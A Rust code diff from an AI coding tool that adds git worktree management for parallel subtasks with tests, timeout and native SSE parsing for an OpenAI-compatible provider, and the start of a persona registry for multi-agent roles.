|
"worktree",
|
||||||
|
"remove",
|
||||||
|
"--force",
|
||||||
|
handle.path.to_str().unwrap_or(""),
|
||||||
|
])
|
||||||
|
.current_dir(project_root)
|
||||||
|
.output();
|
||||||
|
|
||||||
|
// 删除分支(-D 强制,已 merge 的分支正常删,未 merge 的也删)
|
||||||
|
let _ = Command::new("git")
|
||||||
|
.args(["branch", "-D", &handle.branch])
|
||||||
|
.current_dir(project_root)
|
||||||
|
.output();
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 清理某 Plan 的所有 worktree(Plan 完成/失败/取消时批量清理)。
|
||||||
|
pub fn remove_plan_worktrees(project_root: &Path, plan_id: &str) -> Result<(), WorktreeError> {
|
||||||
|
let plan_wt_dir = project_root.join(".devflow/wt").join(plan_id);
|
||||||
|
if !plan_wt_dir.exists() {
|
||||||
|
return Ok(());
|
||||||
|
}
|
||||||
|
|
||||||
|
// git worktree list 获取该 plan 下所有 worktree
|
||||||
|
let list = Command::new("git")
|
||||||
|
.args(["worktree", "list", "--porcelain"])
|
||||||
|
.current_dir(project_root)
|
||||||
|
.output()
|
||||||
|
.map_err(|e| WorktreeError::GitFailed(format!("git worktree list 失败: {}", e)))?;
|
||||||
|
|
||||||
|
let list_str = String::from_utf8_lossy(&list.stdout);
|
||||||
|
for line in list_str.lines() {
|
||||||
|
if let Some(path_str) = line.strip_prefix("worktree ") {
|
||||||
|
let path = PathBuf::from(path_str);
|
||||||
|
// 仅清理属于本 plan 的 worktree
|
||||||
|
if path.starts_with(&plan_wt_dir) {
|
||||||
|
let _ = Command::new("git")
|
||||||
|
.args(["worktree", "remove", "--force", path_str])
|
||||||
|
.current_dir(project_root)
|
||||||
|
.output();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 删除该 plan 的所有子任务分支
|
||||||
|
let branches = Command::new("git")
|
||||||
|
.args(["branch", "--list", &format!("subtask/{}/*", plan_id)])
|
||||||
|
.current_dir(project_root)
|
||||||
|
.output()
|
||||||
|
.map_err(|e| WorktreeError::GitFailed(format!("git branch --list 失败: {}", e)))?;
|
||||||
|
|
||||||
|
let branches_str = String::from_utf8_lossy(&branches.stdout);
|
||||||
|
for line in branches_str.lines() {
|
||||||
|
let branch = line.trim();
|
||||||
|
if !branch.is_empty() {
|
||||||
|
let _ = Command::new("git")
|
||||||
|
.args(["branch", "-D", branch])
|
||||||
|
.current_dir(project_root)
|
||||||
|
.output();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 清理空目录
|
||||||
|
let _ = std::fs::remove_dir_all(&plan_wt_dir);
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 检测工程是否为 Git 仓库(有 .git 目录)。
|
||||||
|
pub fn is_git_repo(project_root: &Path) -> bool {
|
||||||
|
project_root.join(".git").exists()
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 获取工程当前分支名(用于作为 plan worktree 的 fork 基点)。
|
||||||
|
pub fn current_branch(project_root: &Path) -> Result<String, WorktreeError> {
|
||||||
|
let output = Command::new("git")
|
||||||
|
.args(["rev-parse", "--abbrev-ref", "HEAD"])
|
||||||
|
.current_dir(project_root)
|
||||||
|
.output()
|
||||||
|
.map_err(|e| WorktreeError::GitFailed(format!("git rev-parse 失败: {}", e)))?;
|
||||||
|
|
||||||
|
if !output.status.success() {
|
||||||
|
return Err(WorktreeError::GitFailed(
|
||||||
|
String::from_utf8_lossy(&output.stderr).trim().to_string(),
|
||||||
|
));
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(String::from_utf8_lossy(&output.stdout).trim().to_string())
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 创建 Plan worktree(Plan 级工作分支,所有 SubTask 分支 merge 到这里)。
|
||||||
|
///
|
||||||
|
/// 返回 (plan_worktree_path, plan_branch)。
|
||||||
|
pub fn create_plan_worktree(
|
||||||
|
project_root: &Path,
|
||||||
|
plan_id: &str,
|
||||||
|
) -> Result<(PathBuf, String), WorktreeError> {
|
||||||
|
if !is_git_repo(project_root) {
|
||||||
|
return Err(WorktreeError::NotGitRepo);
|
||||||
|
}
|
||||||
|
|
||||||
|
let base = current_branch(project_root)?;
|
||||||
|
let plan_branch = format!("plan/{}", plan_id);
|
||||||
|
let plan_wt_path = project_root.join(".devflow/wt").join(plan_id);
|
||||||
|
|
||||||
|
if plan_wt_path.exists() {
|
||||||
|
return Err(WorktreeError::AlreadyExists(plan_wt_path));
|
||||||
|
}
|
||||||
|
|
||||||
|
let output = Command::new("git")
|
||||||
|
.args([
|
||||||
|
"worktree",
|
||||||
|
"add",
|
||||||
|
plan_wt_path.to_str().unwrap_or(""),
|
||||||
|
"-b",
|
||||||
|
&plan_branch,
|
||||||
|
&base,
|
||||||
|
])
|
||||||
|
.current_dir(project_root)
|
||||||
|
.output()
|
||||||
|
.map_err(|e| WorktreeError::GitFailed(format!("git worktree add(plan) 失败: {}", e)))?;
|
||||||
|
|
||||||
|
if !output.status.success() {
|
||||||
|
return Err(WorktreeError::GitFailed(format!(
|
||||||
|
"git worktree add(plan) 失败: {}",
|
||||||
|
String::from_utf8_lossy(&output.stderr).trim()
|
||||||
|
)));
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok((plan_wt_path, plan_branch))
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
|
||||||
|
/// 创建临时 Git 仓库 + 初始 commit
|
||||||
|
fn setup_repo() -> tempfile::TempDir {
|
||||||
|
let dir = tempfile::tempdir().unwrap();
|
||||||
|
let path = dir.path();
|
||||||
|
|
||||||
|
Command::new("git").args(["init"]).current_dir(path).output().unwrap();
|
||||||
|
Command::new("git").args(["config", "user.email", "test@test.com"]).current_dir(path).output().unwrap();
|
||||||
|
Command::new("git").args(["config", "user.name", "test"]).current_dir(path).output().unwrap();
|
||||||
|
|
||||||
|
std::fs::write(path.join("main.rs"), "fn main() {}\n").unwrap();
|
||||||
|
Command::new("git").args(["add", "."]).current_dir(path).output().unwrap();
|
||||||
|
Command::new("git").args(["commit", "-m", "init"]).current_dir(path).output().unwrap();
|
||||||
|
|
||||||
|
dir
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn wt_01_create_and_isolate() {
|
||||||
|
let repo = setup_repo();
|
||||||
|
let root = repo.path();
|
||||||
|
let base = current_branch(root).unwrap();
|
||||||
|
|
||||||
|
let handle = create_worktree(root, "plan-test", "A", &base).unwrap();
|
||||||
|
assert!(handle.path.exists(), "worktree 目录应存在");
|
||||||
|
assert_eq!(handle.branch, "subtask/plan-test/A");
|
||||||
|
|
||||||
|
// 在 worktree 内写文件
|
||||||
|
std::fs::write(handle.path.join("new_a.rs"), "// A 的改动").unwrap();
|
||||||
|
// 主目录不应有此文件
|
||||||
|
assert!(!root.join("new_a.rs").exists(), "主目录不应有 A 的改动");
|
||||||
|
|
||||||
|
// 清理
|
||||||
|
remove_worktree(root, &handle).unwrap();
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn wt_02_parallel_isolation() {
|
||||||
|
let repo = setup_repo();
|
||||||
|
let root = repo.path();
|
||||||
|
|
||||||
|
let plan_wt = create_plan_worktree(root, "plan-iso").unwrap();
|
||||||
|
let plan_branch = plan_wt.1;
|
||||||
|
|
||||||
|
let a = create_worktree(root, "plan-iso", "A", &plan_branch).unwrap();
|
||||||
|
let b = create_worktree(root, "plan-iso", "B", &plan_branch).unwrap();
|
||||||
|
|
||||||
|
// A 写 new_a.rs
|
||||||
|
std::fs::write(a.path.join("new_a.rs"), "// A").unwrap();
|
||||||
|
// B 写 new_b.rs
|
||||||
|
std::fs::write(b.path.join("new_b.rs"), "// B").unwrap();
|
||||||
|
|
||||||
|
// A 的 worktree 不应有 B 的文件
|
||||||
|
assert!(!a.path.join("new_b.rs").exists(), "A 不应看到 B 的改动");
|
||||||
|
// B 的 worktree 不应有 A 的文件
|
||||||
|
assert!(!b.path.join("new_a.rs").exists(), "B 不应看到 A 的改动");
|
||||||
|
|
||||||
|
remove_plan_worktrees(root, "plan-iso").unwrap();
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn wt_03_commit_in_worktree() {
|
||||||
|
let repo = setup_repo();
|
||||||
|
let root = repo.path();
|
||||||
|
|
||||||
|
let plan_wt = create_plan_worktree(root, "plan-commit").unwrap();
|
||||||
|
let a = create_worktree(root, "plan-commit", "A", &plan_wt.1).unwrap();
|
||||||
|
|
||||||
|
// 写文件 + commit
|
||||||
|
std::fs::write(a.path.join("feature.rs"), "pub fn feature() {}").unwrap();
|
||||||
|
commit_worktree(&a.path, "Add feature").unwrap();
|
||||||
|
|
||||||
|
// 验证分支有新 commit
|
||||||
|
let log = Command::new("git")
|
||||||
|
.args(["log", "--oneline", "-1"])
|
||||||
|
.current_dir(&a.path)
|
||||||
|
.output()
|
||||||
|
.unwrap();
|
||||||
|
let log_str = String::from_utf8_lossy(&log.stdout);
|
||||||
|
assert!(log_str.contains("Add feature"), "commit 消息应在 log 中");
|
||||||
|
|
||||||
|
remove_plan_worktrees(root, "plan-commit").unwrap();
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn wt_04_merge_no_conflict() {
|
||||||
|
let repo = setup_repo();
|
||||||
|
let root = repo.path();
|
||||||
|
|
||||||
|
let plan_wt = create_plan_worktree(root, "plan-merge").unwrap();
|
||||||
|
let plan_wt_path = plan_wt.0.clone();
|
||||||
|
let plan_branch = plan_wt.1;
|
||||||
|
|
||||||
|
// A 改 file_a.rs, B 改 file_b.rs(不同文件,无冲突)
|
||||||
|
let a = create_worktree(root, "plan-merge", "A", &plan_branch).unwrap();
|
||||||
|
std::fs::write(a.path.join("file_a.rs"), "// A").unwrap();
|
||||||
|
commit_worktree(&a.path, "A changes").unwrap();
|
||||||
|
|
||||||
|
let b = create_worktree(root, "plan-merge", "B", &plan_branch).unwrap();
|
||||||
|
std::fs::write(b.path.join("file_b.rs"), "// B").unwrap();
|
||||||
|
commit_worktree(&b.path, "B changes").unwrap();
|
||||||
|
|
||||||
|
// merge A → plan
|
||||||
|
let result_a = merge_branch(&plan_wt_path, &a.branch).unwrap();
|
||||||
|
assert!(matches!(result_a, MergeResult::Clean), "A merge 应无冲突");
|
||||||
|
|
||||||
|
// merge B → plan
|
||||||
|
let result_b = merge_branch(&plan_wt_path, &b.branch).unwrap();
|
||||||
|
assert!(matches!(result_b, MergeResult::Clean), "B merge 应无冲突");
|
||||||
|
|
||||||
|
// plan worktree 应同时有 file_a.rs 和 file_b.rs
|
||||||
|
assert!(plan_wt_path.join("file_a.rs").exists(), "plan 应含 A 的改动");
|
||||||
|
assert!(plan_wt_path.join("file_b.rs").exists(), "plan 应含 B 的改动");
|
||||||
|
|
||||||
|
remove_plan_worktrees(root, "plan-merge").unwrap();
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn wt_05_merge_conflict_same_file() {
|
||||||
|
let repo = setup_repo();
|
||||||
|
let root = repo.path();
|
||||||
|
|
||||||
|
// 写一个共享文件
|
||||||
|
std::fs::write(root.join("shared.rs"), "line1\nline2\n").unwrap();
|
||||||
|
Command::new("git").args(["add", "-A"]).current_dir(root).output().unwrap();
|
||||||
|
Command::new("git").args(["commit", "-m", "add shared"]).current_dir(root).output().unwrap();
|
||||||
|
|
||||||
|
let plan_wt = create_plan_worktree(root, "plan-conf").unwrap();
|
||||||
|
let plan_wt_path = plan_wt.0.clone();
|
||||||
|
let plan_branch = plan_wt.1;
|
||||||
|
|
||||||
|
// A 和 B 改同一文件的同一行
|
||||||
|
let a = create_worktree(root, "plan-conf", "A", &plan_branch).unwrap();
|
||||||
|
std::fs::write(a.path.join("shared.rs"), "A_version\n").unwrap();
|
||||||
|
commit_worktree(&a.path, "A change shared").unwrap();
|
||||||
|
|
||||||
|
let b = create_worktree(root, "plan-conf", "B", &plan_branch).unwrap();
|
||||||
|
std::fs::write(b.path.join("shared.rs"), "B_version\n").unwrap();
|
||||||
|
commit_worktree(&b.path, "B change shared").unwrap();
|
||||||
|
|
||||||
|
// merge A → 无冲突
|
||||||
|
let result_a = merge_branch(&plan_wt_path, &a.branch).unwrap();
|
||||||
|
assert!(matches!(result_a, MergeResult::Clean), "首个 merge 应无冲突");
|
||||||
|
|
||||||
|
// merge B → 冲突
|
||||||
|
let result_b = merge_branch(&plan_wt_path, &b.branch).unwrap();
|
||||||
|
assert!(
|
||||||
|
matches!(result_b, MergeResult::Conflict { .. }),
|
||||||
|
"同文件同行改应产生冲突"
|
||||||
|
);
|
||||||
|
|
||||||
|
remove_plan_worktrees(root, "plan-conf").unwrap();
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn wt_06_non_git_returns_error() {
|
||||||
|
let dir = tempfile::tempdir().unwrap();
|
||||||
|
// 不 init git
|
||||||
|
let result = create_plan_worktree(dir.path(), "plan-ng");
|
||||||
|
assert!(matches!(result, Err(WorktreeError::NotGitRepo)));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn wt_07_cleanup_removes_worktree() {
|
||||||
|
let repo = setup_repo();
|
||||||
|
let root = repo.path();
|
||||||
|
|
||||||
|
let plan_wt = create_plan_worktree(root, "plan-clean").unwrap();
|
||||||
|
let a = create_worktree(root, "plan-clean", "A", &plan_wt.1).unwrap();
|
||||||
|
assert!(a.path.exists());
|
||||||
|
|
||||||
|
remove_plan_worktrees(root, "plan-clean").unwrap();
|
||||||
|
|
||||||
|
// worktree 目录应被清理
|
||||||
|
assert!(!a.path.exists(), "worktree 目录应已清理");
|
||||||
|
// plan wt 目录也应被清理
|
||||||
|
assert!(!plan_wt.0.exists(), "plan worktree 目录应已清理");
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -944,7 +944,7 @@ mod tests {
|
|||||||
/// 构造测试用 ToolDefinition(仅 name 有意义,description/parameters 填占位)。
|
/// 构造测试用 ToolDefinition(仅 name 有意义,description/parameters 填占位)。
|
||||||
fn tool_def(name: &str) -> df_ai_core::types::ToolDefinition {
|
fn tool_def(name: &str) -> df_ai_core::types::ToolDefinition {
|
||||||
df_ai_core::types::ToolDefinition {
|
df_ai_core::types::ToolDefinition {
|
||||||
tool_type: "function".to_string(),
|
tool_type: "function".into(),
|
||||||
function: df_ai_core::types::ToolFunction {
|
function: df_ai_core::types::ToolFunction {
|
||||||
name: name.to_string(),
|
name: name.to_string(),
|
||||||
description: String::new(),
|
description: String::new(),
|
||||||
|
|||||||
@@ -5,10 +5,12 @@ pub mod anthropic_compat;
|
|||||||
pub mod anthropic_helpers;
|
pub mod anthropic_helpers;
|
||||||
pub mod context;
|
pub mod context;
|
||||||
pub mod context_helpers;
|
pub mod context_helpers;
|
||||||
|
// 多 Agent 协作调度中心(Phase 1 规则驱动, Phase 2 LLM 扩展)。
|
||||||
pub mod coordinator;
|
pub mod coordinator;
|
||||||
// 会话意图识别层(纯函数,不接入 agentic loop)。依据 docs/02-架构设计/构想审查/
|
// 会话意图识别层(纯函数,不接入 agentic loop)。依据 docs/02-架构设计/构想审查/
|
||||||
// 意图识别层论证-2026-06-19.md。提供 recognize / tool_subset_for / suggested_model_tier。
|
// 意图识别层论证-2026-06-19.md。提供 recognize / tool_subset_for / suggested_model_tier。
|
||||||
// 待 Phase B+C 完成 + 模型模态管理落地后再接入 agentic loop。
|
// 待 Phase B+C 完成 + 模型模态管理落地后再接入 agentic loop。
|
||||||
|
pub mod git_worktree;
|
||||||
pub mod intent;
|
pub mod intent;
|
||||||
pub mod model_fetch;
|
pub mod model_fetch;
|
||||||
// model_fetch 的纯逻辑子模块(URL 拼接 / 噪音过滤 / 响应反序列化),
|
// model_fetch 的纯逻辑子模块(URL 拼接 / 噪音过滤 / 响应反序列化),
|
||||||
@@ -28,12 +30,18 @@ pub mod openai_helpers;
|
|||||||
// 纯函数模块(零 IO 零状态)。依据 docs/02-架构设计/单对话并行多轮-{设计,Phase0落地路线图}-2026-06-20.md。
|
// 纯函数模块(零 IO 零状态)。依据 docs/02-架构设计/单对话并行多轮-{设计,Phase0落地路线图}-2026-06-20.md。
|
||||||
// Phase 1(plan_hint 接入主 loop)/Phase 2(planning)/Phase 3(并行 execution) 接入后续。
|
// Phase 1(plan_hint 接入主 loop)/Phase 2(planning)/Phase 3(并行 execution) 接入后续。
|
||||||
pub mod planner;
|
pub mod planner;
|
||||||
|
// Phase 2: Plan DAG 分层执行器(骨架,PLAN_EXECUTION_ENABLED 门控默认关)。
|
||||||
|
// 按 Plan::to_layers 层间串行/层内并行调度子任务。
|
||||||
|
// 依据 docs/02-架构设计/单对话并行多轮-设计-2026-06-20.md。
|
||||||
|
pub mod persona;
|
||||||
|
pub mod plan_executor;
|
||||||
pub mod provider;
|
pub mod provider;
|
||||||
pub mod router;
|
pub mod router;
|
||||||
// CR-30-1: 流前重试退避对外复用。complete() 的 retry_with_backoff 仍 crate 内用,
|
// CR-30-1: 流前重试退避对外复用。complete() 的 retry_with_backoff 仍 crate 内用,
|
||||||
// stream_recv/agentic 流前重试需复用 backoff_delay(jitter)+is_status_retryable(Fatal 分类)
|
// stream_recv/agentic 流前重试需复用 backoff_delay(jitter)+is_status_retryable(Fatal 分类)
|
||||||
// 避免重写退避/分类逻辑(对齐决策 F-260616-07 a1)。改 pub mod 后对外仅暴露纯函数 + 常量。
|
// 避免重写退避/分类逻辑(对齐决策 F-260616-07 a1)。改 pub mod 后对外仅暴露纯函数 + 常量。
|
||||||
pub mod retry;
|
pub mod retry;
|
||||||
|
pub mod sse_parser;
|
||||||
|
|
||||||
use provider::LlmProvider;
|
use provider::LlmProvider;
|
||||||
use reqwest::Client;
|
use reqwest::Client;
|
||||||
|
|||||||
@@ -6,7 +6,6 @@
|
|||||||
use std::time::Duration;
|
use std::time::Duration;
|
||||||
|
|
||||||
use async_trait::async_trait;
|
use async_trait::async_trait;
|
||||||
use eventsource_stream::Eventsource;
|
|
||||||
use futures::StreamExt;
|
use futures::StreamExt;
|
||||||
use reqwest::Client;
|
use reqwest::Client;
|
||||||
use tracing::{debug, error, warn};
|
use tracing::{debug, error, warn};
|
||||||
@@ -183,6 +182,31 @@ impl OpenAICompatProvider {
|
|||||||
// assistant 的序列(会话恢复/续发/片段截取),补 user 占位保留上下文,首条合法。
|
// assistant 的序列(会话恢复/续发/片段截取),补 user 占位保留上下文,首条合法。
|
||||||
Self::ensure_leading_user(&mut messages);
|
Self::ensure_leading_user(&mut messages);
|
||||||
|
|
||||||
|
// 治 DeepSeek 400「insufficient tool messages」:扫描所有 assistant 消息,
|
||||||
|
// 若某条 assistant 含 tool_calls 但下一条不是 tool,则剥离其 tool_calls。
|
||||||
|
// 正常流程 tool 结果先于下一轮 LLM 请求推入历史,此守卫仅兜底异常截断/恢复场景的残末尾。
|
||||||
|
// 注意:合法的三元组形如:assistant(tc=[a]) → tool(a) → assistant(tc=[b]) → tool(b)。
|
||||||
|
// 若最后一条是 assistant(tc=...) 也无下一条 tool,同样剥离。
|
||||||
|
for i in 0..messages.len() {
|
||||||
|
let role = messages[i].role.clone();
|
||||||
|
if role != "assistant" {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
let has_tc = messages[i].tool_calls.is_some();
|
||||||
|
if !has_tc {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
let next_is_tool = i + 1 < messages.len()
|
||||||
|
&& matches!(messages[i + 1].role.as_str(), "tool");
|
||||||
|
if !next_is_tool {
|
||||||
|
messages[i].tool_calls = None;
|
||||||
|
tracing::warn!(
|
||||||
|
"[openai] assistant(#{} role={}) 含 tool_calls 但下一条非 tool,已自动剥离(防 400)",
|
||||||
|
i, role,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
let tools = req.tools.map(|defs| {
|
let tools = req.tools.map(|defs| {
|
||||||
defs.into_iter()
|
defs.into_iter()
|
||||||
.map(|d| serde_json::to_value(d).unwrap_or_default())
|
.map(|d| serde_json::to_value(d).unwrap_or_default())
|
||||||
@@ -362,14 +386,26 @@ impl LlmProvider for OpenAICompatProvider {
|
|||||||
|
|
||||||
debug!(model = %openai_req.model, "OpenAI 流式调用");
|
debug!(model = %openai_req.model, "OpenAI 流式调用");
|
||||||
|
|
||||||
let resp = self
|
// BUG-2026-07-07: send 阶段需 timeout 防 hang(同 Anthropic 路径)。
|
||||||
|
// 不能用 reqwest .timeout()(会砍流式 body),改用 tokio::time::timeout 包裹 send。
|
||||||
|
let send_future = self
|
||||||
.client
|
.client
|
||||||
.post(self.chat_url())
|
.post(self.chat_url())
|
||||||
.header("Authorization", format!("Bearer {}", self.api_key))
|
.header("Authorization", format!("Bearer {}", self.api_key))
|
||||||
.header("Content-Type", "application/json")
|
.header("Content-Type", "application/json")
|
||||||
.json(&openai_req)
|
.json(&openai_req)
|
||||||
.send()
|
.send();
|
||||||
.await?;
|
let resp = match tokio::time::timeout(Duration::from_secs(60), send_future).await {
|
||||||
|
Ok(Ok(r)) => r,
|
||||||
|
Ok(Err(e)) => {
|
||||||
|
tracing::error!(error = %e, is_timeout = e.is_timeout(), "OpenAI 流式 send 失败");
|
||||||
|
return Err(e.into());
|
||||||
|
}
|
||||||
|
Err(_elapsed) => {
|
||||||
|
tracing::error!(url = %self.chat_url(), "OpenAI 流式 send 超时(60s 未返回响应头)");
|
||||||
|
anyhow::bail!("流式请求超时(60秒未收到 HTTP 响应,可能服务不可达或被防火墙拦截)");
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
if !resp.status().is_success() {
|
if !resp.status().is_success() {
|
||||||
let status = resp.status();
|
let status = resp.status();
|
||||||
@@ -378,24 +414,29 @@ impl LlmProvider for OpenAICompatProvider {
|
|||||||
anyhow::bail!("LLM 流式 API 错误 {}: {}", status, body);
|
anyhow::bail!("LLM 流式 API 错误 {}: {}", status, body);
|
||||||
}
|
}
|
||||||
|
|
||||||
// 累积流式 usage:开 include_usage 后,末段正常 chunk(finish_reason)及额外 usage-only chunk(choices=[])都带 usage。
|
// BUG-2026-07-17 根治: 原生 SSE 解析器替代 eventsource-stream 库。
|
||||||
// usage 解析/累积逻辑抽到 apply_openai_sse 纯函数,便于单测;此处闭包只负责传 data 与传递 last_usage。
|
// eventsource-stream 在 Windows 上对 Deepseek 等响应报 "error decoding response body"
|
||||||
|
// (严格 UTF-8 + SSE 协议校验,跨 chunk 字符/不完整事件均报错且不可恢复)。
|
||||||
|
// 原生解析器:bytes 累积 + from_utf8_lossy 宽松处理 + \n\n 分隔,容错不中断流。
|
||||||
let mut last_usage: Option<TokenUsage> = None;
|
let mut last_usage: Option<TokenUsage> = None;
|
||||||
|
|
||||||
let stream = resp
|
let sse = crate::sse_parser::SseStream::new(resp.bytes_stream());
|
||||||
.bytes_stream()
|
let stream = sse.flat_map(move |result: Result<Vec<String>, String>| {
|
||||||
.eventsource()
|
let mut chunks: Vec<anyhow::Result<crate::provider::StreamChunk>> = Vec::new();
|
||||||
.map(move |event| match event {
|
match result {
|
||||||
Ok(event) => Ok(apply_openai_sse(&event.data, &mut last_usage)),
|
Ok(events) => {
|
||||||
|
for data in events {
|
||||||
|
let chunk = apply_openai_sse(&data, &mut last_usage);
|
||||||
|
chunks.push(Ok(chunk));
|
||||||
|
}
|
||||||
|
}
|
||||||
Err(e) => {
|
Err(e) => {
|
||||||
// 保留 #[source] 因果链: anyhow!("...{}", e) 仅把 e 的 Display 塞进 message,
|
|
||||||
// 丢掉 source(无法 downcast/遍历)。改用 Error::from(e).context(...):
|
|
||||||
// Display 不变(仍为 "SSE 流错误: {e}"), 且 e 作为 .source() 可追溯。
|
|
||||||
// 顺序: 先 format(e) 构造 context 文案, 再 Error::from(e) move e 进 source。
|
|
||||||
let ctx = format!("SSE 流错误: {}", e);
|
let ctx = format!("SSE 流错误: {}", e);
|
||||||
error!("{}", ctx);
|
error!("{}", ctx);
|
||||||
Err(anyhow::Error::from(e).context(ctx))
|
chunks.push(Err(anyhow::anyhow!("{}", ctx)));
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
futures::stream::iter(chunks)
|
||||||
});
|
});
|
||||||
|
|
||||||
Ok(Box::pin(stream))
|
Ok(Box::pin(stream))
|
||||||
|
|||||||
385
crates/df-ai/src/persona.rs
Normal file
385
crates/df-ai/src/persona.rs
Normal file
@@ -0,0 +1,385 @@
|
|||||||
|
//! 人设系统(P0) — AgentPersona 结构体 + PersonaRegistry 注册表
|
||||||
|
//!
|
||||||
|
//! 构成 AI Native 的基础:角色划分是分工的前提。
|
||||||
|
//! - 每名人设包含:能力标签、工具白名单、system prompt 模板
|
||||||
|
//! - Registry 提供按场景/意图选人设、按 id 查人设能力
|
||||||
|
//!
|
||||||
|
//! 设计依据:docs/02-架构设计/构想审查/AI-Native方向与路线图-2026-06-29.md
|
||||||
|
|
||||||
|
use std::collections::HashMap;
|
||||||
|
|
||||||
|
/// 内置人设 ID 常量
|
||||||
|
pub const PERSONA_CODER: &str = "coder";
|
||||||
|
pub const PERSONA_REVIEWER: &str = "reviewer";
|
||||||
|
pub const PERSONA_ARCHITECT: &str = "architect";
|
||||||
|
pub const PERSONA_TESTER: &str = "tester";
|
||||||
|
pub const PERSONA_ANALYST: &str = "analyst";
|
||||||
|
|
||||||
|
/// 人设能力标签枚举
|
||||||
|
#[derive(Debug, Clone, PartialEq, Eq, Hash)]
|
||||||
|
pub enum PersonaCapability {
|
||||||
|
/// 代码生成与修改
|
||||||
|
CodeGeneration,
|
||||||
|
/// Code Review
|
||||||
|
CodeReview,
|
||||||
|
/// 架构设计与分析
|
||||||
|
ArchitectureDesign,
|
||||||
|
/// 测试编写与执行
|
||||||
|
Testing,
|
||||||
|
/// 数据分析与搜索
|
||||||
|
Analysis,
|
||||||
|
/// 文件读写
|
||||||
|
FileOperation,
|
||||||
|
/// 命令执行
|
||||||
|
CommandExecution,
|
||||||
|
/// Git 操作
|
||||||
|
GitOperation,
|
||||||
|
/// 知识库操作
|
||||||
|
KnowledgeOperation,
|
||||||
|
/// 项目管理
|
||||||
|
ProjectManagement,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl PersonaCapability {
|
||||||
|
pub fn label(&self) -> &'static str {
|
||||||
|
match self {
|
||||||
|
Self::CodeGeneration => "代码生成",
|
||||||
|
Self::CodeReview => "代码审查",
|
||||||
|
Self::ArchitectureDesign => "架构设计",
|
||||||
|
Self::Testing => "测试",
|
||||||
|
Self::Analysis => "分析",
|
||||||
|
Self::FileOperation => "文件操作",
|
||||||
|
Self::CommandExecution => "命令执行",
|
||||||
|
Self::GitOperation => "Git 操作",
|
||||||
|
Self::KnowledgeOperation => "知识库",
|
||||||
|
Self::ProjectManagement => "项目管理",
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 人设定义
|
||||||
|
#[derive(Debug, Clone)]
|
||||||
|
pub struct AgentPersona {
|
||||||
|
/// 唯一标识(如 "coder", "reviewer")
|
||||||
|
pub id: String,
|
||||||
|
/// 人设名称(如 "程序员", "审查员")
|
||||||
|
pub name: String,
|
||||||
|
/// 人设描述(LLM 理解用)
|
||||||
|
pub description: String,
|
||||||
|
/// 能力标签集
|
||||||
|
pub capabilities: Vec<PersonaCapability>,
|
||||||
|
/// 工具白名单(空=不限,非空=仅允许列出的工具)
|
||||||
|
pub tool_whitelist: Vec<String>,
|
||||||
|
/// system prompt 模板(注入 {context} {goals} 等占位符)
|
||||||
|
pub system_prompt_template: String,
|
||||||
|
/// 优先级(选人设时冲突排名,0=最高)
|
||||||
|
pub priority: u8,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl AgentPersona {
|
||||||
|
/// 检查此人设是否具备某项能力
|
||||||
|
pub fn has_capability(&self, cap: &PersonaCapability) -> bool {
|
||||||
|
self.capabilities.contains(cap)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 检查某工具是否在此人设的 whitelist 中
|
||||||
|
pub fn is_tool_allowed(&self, tool_name: &str) -> bool {
|
||||||
|
self.tool_whitelist.is_empty() || self.tool_whitelist.iter().any(|t| t == tool_name)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 构建带上下文的 system prompt
|
||||||
|
pub fn build_prompt(&self, context: &str, goals: &[String]) -> String {
|
||||||
|
let goals_text = if goals.is_empty() {
|
||||||
|
String::new()
|
||||||
|
} else {
|
||||||
|
format!("\n## 当前目标\n{}", goals.iter().enumerate().map(|(i, g)| format!("{}. {}", i + 1, g)).collect::<Vec<_>>().join("\n"))
|
||||||
|
};
|
||||||
|
self.system_prompt_template
|
||||||
|
.replace("{context}", context)
|
||||||
|
.replace("{goals}", &goals_text)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 人设注册表 — 管理内置 + 自定义人设
|
||||||
|
#[derive(Debug, Clone)]
|
||||||
|
pub struct PersonaRegistry {
|
||||||
|
personae: HashMap<String, AgentPersona>,
|
||||||
|
/// 默认人设 id(兜底)
|
||||||
|
default_id: String,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl PersonaRegistry {
|
||||||
|
/// 构造默认注册表(含 5 内置人设)
|
||||||
|
pub fn new() -> Self {
|
||||||
|
let mut reg = Self {
|
||||||
|
personae: HashMap::new(),
|
||||||
|
default_id: PERSONA_CODER.to_string(),
|
||||||
|
};
|
||||||
|
reg.register(Self::builtin_coder());
|
||||||
|
reg.register(Self::builtin_reviewer());
|
||||||
|
reg.register(Self::builtin_architect());
|
||||||
|
reg.register(Self::builtin_tester());
|
||||||
|
reg.register(Self::builtin_analyst());
|
||||||
|
reg
|
||||||
|
